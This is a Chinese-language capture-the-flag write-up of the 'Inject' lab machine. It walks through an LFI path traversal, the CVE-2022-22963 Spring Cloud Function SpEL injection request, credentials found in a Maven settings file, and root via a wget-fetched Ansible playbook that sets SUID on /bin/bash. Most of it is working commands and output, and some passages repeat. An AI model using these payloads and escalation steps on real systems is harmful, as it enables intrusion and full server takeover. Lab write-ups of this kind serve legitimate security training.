Inject 靶机
Nmap 结果
┌──(root💀kali)-[~]
└─# nmap -A 10.129.181.158
Starting Nmap 7.93( https://nmap.org ) at 2023-03-13 02:08 EDT
Nmap scan report for10.129.181.158
Host is up (0.61s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp openssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)|256 d51c81c97b076b1cc1b429254b52219f (ECDSA)|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
No exact OS matches forhost(If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
两个端口一个8080 web
一个22 ssh 端口
首先查看8080端口
存在一个文件上传的功能点
上传成功返回一个路径
/show_image?img=windows64.jpg
很有可能有LFI
尝试了一下果然存在LFI
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
FUZZ
一下路径
发现直接include …/…/…/…/…/ 会直接把当前目录的文件列举出来
通过层层便利
最终发现web 站点根目录
/var/www/WebApp
/var/www/WebApp/pom.xml
<?xml version="1.0" encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.5</version><relativePath/><!-- lookup parent from repository --></parent><groupId>com.example</groupId><artifactId>WebApp</artifactId><version>0.0.1-SNAPSHOT</version><name>WebApp</name><description>Demo project for Spring Boot</description><properties><java.version>11</java.version></properties><dependencies><dependency><groupId>com.sun.activation</groupId><artifactId>javax.activation</artifactId><version>1.2.0</version></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-thymeleaf</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-devtools</artifactId><scope>runtime</scope><optional>true</optional></dependency><dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-function-web</artifactId><version>3.2.2</version></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>org.webjars</groupId><artifactId>bootstrap</artifactId><version>5.1.3</version></dependency><dependency><groupId>org.webjars</groupId><artifactId>webjars-locator-core</artifactId></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId><version>${parent.version}</version></plugin></plugins><finalName>spring-webapp</finalName></build></project>
/var/www/WebApp/src/main/resources/application.properties
server.tomcat.relaxed-query-chars=|,{,},[,]
server.error.whitelabel.enabled=false
spring.main.allow-circular-references=true
spring.servlet.multipart.max-file-size=1MB
spring.servlet.multipart.max-request-size=2MB
spring.cloud.config.uri=
spring.cloud.config.allow-override=true
debug=false
server.error.include-message=always
/var/www/WebApp/src/main/java/com/example/WebApp/user/User.java
//package com.example.WebApp.user;////import org.hibernate.annotations.GeneratorType;//import org.hibernate.annotations.ValueGenerationType;////import javax.persistence.*;////@Entity//@Table(name = "zodd_users")//public class User {// @Id// @GeneratedValue(strategy = GenerationType.IDENTITY)// private Long id;//// @Column(nullable = false, unique = true, length = 45)// private String email;//// public String getPassword() {// return password;// }//// public void setPassword(String password) {// this.password = password;// }//// @Column(nullable = false, length = 64)// private String password;// private String firstName;// private String lastName;//// public Long getId() {// return id;// }//// public void setId(Long id) {// this.id = id;// }//// public String getEmail() {// return email;// }//// public void setEmail(String email) {// this.email = email;// }//// public String getFirstName() {// return firstName;// }//// public void setFirstName(String firstName) {// this.firstName = firstName;// }//// public String getLastName() {// return lastName;// }//// public void setLastName(String lastName) {// this.lastName = lastName;// }//}
UserController.java
packagecom.example.WebApp.user;importorg.springframework.core.io.Resource;importorg.springframework.core.io.UrlResource;importorg.springframework.http.MediaType;importorg.springframework.http.ResponseEntity;importorg.springframework.stereotype.Controller;importjava.nio.file.Path;importorg.springframework.ui.Model;importorg.springframework.util.StringUtils;importorg.springframework.web.bind.annotation.*;importorg.springframework.web.multipart.MultipartFile;importjavax.activation.*;importjava.io.*;importjava.net.MalformedURLException;importjava.nio.file.Files;importjava.nio.file.Paths;importjava.nio.file.StandardCopyOption;@ControllerpublicclassUserController{privatestaticString UPLOADED_FOLDER ="/var/www/WebApp/src/main/uploads/";@GetMapping("")publicStringhomePage(){return"homepage";}@GetMapping("/register")publicStringsignUpFormGET(){return"under";}@RequestMapping(value ="/upload", method =RequestMethod.GET)publicStringUploadFormGet(){return"upload";}@RequestMapping(value ="/show_image", method =RequestMethod.GET)publicResponseEntitygetImage(@RequestParam("img")String name){String fileName = UPLOADED_FOLDER + name;Path path =Paths.get(fileName);Resource resource =null;try{
resource =newUrlResource(path.toUri());}catch(MalformedURLException e){
e.printStackTrace();}returnResponseEntity.ok().contentType(MediaType.IMAGE_JPEG).body(resource);}@PostMapping("/upload")publicStringUpload(@RequestParam("file")MultipartFile file,Model model){String fileName =StringUtils.cleanPath(file.getOriginalFilename());if(!file.isEmpty()&&!fileName.contains("/")){String mimetype =newMimetypesFileTypeMap().getContentType(fileName);String type = mimetype.split("/")[0];if(type.equals("image")){try{Path path =Paths.get(UPLOADED_FOLDER+fileName);Files.copy(file.getInputStream(),path,StandardCopyOption.REPLACE_EXISTING);}catch(IOException e){
e.printStackTrace();}
model.addAttribute("name", fileName);
model.addAttribute("message","Uploaded!");}else{
model.addAttribute("message","Only image files are accepted!");}}else{
model.addAttribute("message","Please Upload a file!");}return"upload";}@GetMapping("/release_notes")publicStringchangelog(){return"change";}@GetMapping("/blogs")publicStringblogPage(){return"blog";}}
/var/www/WebApp/src/main/java/com/example/WebApp/WebAppApplication.java
packagecom.example.WebApp;importorg.springframework.boot.SpringApplication;importorg.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplicationpublicclassWebAppApplication{publicstaticvoidmain(String[] args){SpringApplication.run(WebAppApplication.class, args);}}
通过查看pom.xml 发现该系统存在Spring Cloud Function SpEL 代码注入 (CVE-2022-22963)
referer:https://blog.csdn.net/qq_44842234/article/details/125845459
<dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-function-web</artifactId><version>3.2.2</version></dependency>
POST /functionRouter HTTP/1.1
Host: 192.168.68.168:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test
查看属于frank 的文件
frank@inject:~$ find / -group frank -type f 2>/dev/null |grep -v "proc"find / -group frank -type f 2>/dev/null |grep -v "proc"
/tmp/1.sh
/tmp/hsperfdata_frank/784
/tmp/2.sh
/var/www/WebApp/test.txt
/home/frank/.bashrc
/home/frank/.m2/settings.xml
/home/frank/.cache/motd.legal-displayed
/home/frank/.profile
frank@inject:~$ cat /home/frank/.cache/motd.legal-displayed
cat /home/frank/.cache/motd.legal-displayed
frank@inject:~$ cat /home/frank/.m2/settings.xml
cat /home/frank/.m2/settings.xml
<?xml version="1.0"encoding="UTF-8"?><settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><servers><server><id>Inject</id><username>phil</username><password>DocPhillovestoInject123</password><privateKey>${user.home}/.ssh/id_dsa</privateKey><filePermissions>660</filePermissions><directoryPermissions>660</directoryPermissions><configuration></configuration></server></servers></settings>
frank@inject:~$
拿到phil的账户和密码:
usernamepasswordphilDocPhillovestoInject123
root
上传pspy64
发现进程
CMD: UID=0 PID=20195 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
phil@inject:/opt/automation$whoamiwhoami
phil
phil@inject:/opt/automation$ pwdpwd
/opt/automation
phil@inject:/opt/automation$ ls -al
ls -al
total 12
drwxr-xr-x 3 root root 4096 Oct 20 04:23 .
drwxr-xr-x 3 root root 4096 Oct 20 04:23 ..
drwxrwxr-x 2 root staff 4096 Mar 13 08:36 tasks
phil@inject:/opt/automation$ ididuid=1001(phil)gid=1001(phil)groups=1001(phil),50(staff)
一.Ansible playbook简介
playbook是ansible用于配置,部署,和管理被节点的剧本
通过playbook的详细描述,执行其中的一些列tasks,可以让远端的主机达到预期的状态。playbook就像ansible控制器给被控节点列出的一系列to-do-list,而且被控节点必须要完成
playbook顾名思义,即剧本,现实生活中演员按照剧本表演,在ansible中,这次由被控计算机表演,进行安装,部署应用,提供对外的服务等,以及组织计算机处理各种各样的事情。
二.Ansible playbook使用场景
执行一些简单的任务,使用ad-hoc命令可以方便的解决问题,但是有时一个设施过于复杂,需要大量的操作的时候,执行的ad-hoc命令是不合适的,这时候最好使用playbook。
就像执行shell命令与写shell脚本一样,也可以理解为批处理任务,不过playbook有自己的语法格式
使用playbook可以方便的重复使用这些代码,可以移植到不同的机器上面,像函数一样,最大化的利用代码。在你使用Ansible的过程中,你也会发现,你所处理的大部分操作都是编写playbook。可以把常见的应用都编写playbook,之后管理服务器会变得很简单。
三.Ansible playbook格式
格式简介
playbook由YAML语言编写。
YAML( /ˈjæməl/ )参考了其他多种语言,包括:XML、C语言、Python、Perl以及电子邮件格式RFC2822,Clark Evans在2001年5月在首次发表了这种语言,另外Ingy döt Net与OrenBen-Kiki也是这语言的共同设计者。
YAML格式是类似JSON的文件格式。YAML用于文件的配置编写,JSON多用于开发设计。
YAML的格式如下:
1.文件的第一行应该以“---”(三个连字符)开始,表明YAML文件的开始。
2.在同一行中,#之后的内容表示注释,类似于shell,python和ruby。
3.YAML中的列表元素以“-”开头并且跟着一个空格。后面为元素内容。
4.同一个列表之中的元素应该保持相同的缩进,否则会被当做错误处理。
5.play中hosts、variables、roles、tasks等对象的表示方法都是以键值中间以“:”分隔表示,并且“:”之后要加一个空格。
- 安装并且运行mysql服务,实例如下:
---
- hosts: node1
remote_user: root
tasks:
- name: install mysql-server package
yum: name=mysql-server state=present
- name: starting mysqld service
service: name=msyql state=started
以上面为例,文件名应该以 .yml 结尾
host部分:使用hosts指示使用哪个主机或者主机组来运行下面的tasks,每个playbooks都必须指定hosts,host也可以使用通配符格式。主机或者主机组在inventorry清单中指定,可以使用系统默认的/etc/ansible/hosts,也可以自己编辑,在运行的时候加上-i 选项指定清单的位置。在运行清单文件的时候, --list-hosts选项会显示哪些主机将会参与执行task的过程中。
remote_user:指定远端主机的哪个用户来登录远端系统,在远端系统执行task的用户,可以任意指定,也可以使用sudo,但是用户必须要有执行相应的task权限。
tasks:指定远端主机将要执行的一系列动作。tasks的核心为ansible的模块,前面已经提到模块的用法,tasks包含name和要执行的模块,name是可选的,只是为了便于用户阅读,模块是必须的,同时也要给予模块相应的参数
更多操作文档详情请看
ansible.builtin.shell module – Execute shell commands on targets — Ansible Documentation
我们只需要在/opt/automation/tasks 这个目录下写一个给bash 赋suid 的脚本 过一段时间脚本运行后即可提权
-hosts: localhost
tasks:-name: become root
command: chmod u+s /bin/bash
become:true
phil@inject:/opt/automation/tasks$ wget10.10.16.17:8000/playbook_2.yml
wget10.10.16.17:8000/playbook_2.yml
--2023-03-13 12:18:34-- http://10.10.16.17:8000/playbook_2.yml
Connecting to 10.10.16.17:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 108[application/octet-stream]
Saving to: ‘playbook_2.yml’
playbook_2.yml 100%[===================>]108 --.-KB/s in 0s
2023-03-13 12:18:36 (6.60 MB/s) - ‘playbook_2.yml’ saved [108/108]
phil@inject:/opt/automation/tasks$ lsls
playbook_1.yml playbook_2.yml
phil@inject:/opt/automation/tasks$ cat playbook_2.yml
cat playbook_2.yml
- hosts: localhost
tasks:
- name: become root
command: chmod u+s /bin/bash
become: true
phil@inject:/opt/automation/tasks$
phil@inject:/opt/automation/tasks$ ls /bin/bash -al
ls /bin/bash -al
-rwsr-xr-x 1 root root 1183448 Apr 182022 /bin/bash
phil@inject:/opt/automation/tasks$ bash -p
bash -p
bash-5.0# whoamiwhoami
root
===================>] 108 --.-KB/s in 0s
2023-03-13 12:18:36 (6.60 MB/s) - ‘playbook_2.yml’ saved [108/108]
phil@inject:/opt/automation/tasks$ ls
ls
playbook_1.yml playbook_2.yml
phil@inject:/opt/automation/tasks$ cat playbook_2.yml
cat playbook_2.yml
- hosts: localhost tasks: - name: become root command: chmod u+s /bin/bash become: true
phil@inject:/opt/automation/tasks$
phil@inject:/opt/automation/tasks$ ls /bin/bash -al
ls /bin/bash -al
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
phil@inject:/opt/automation/tasks$ bash -p
bash -p
bash-5.0# whoami
whoami
root
版权归原作者 Som3B0dy 所有, 如有侵权,请联系我们删除。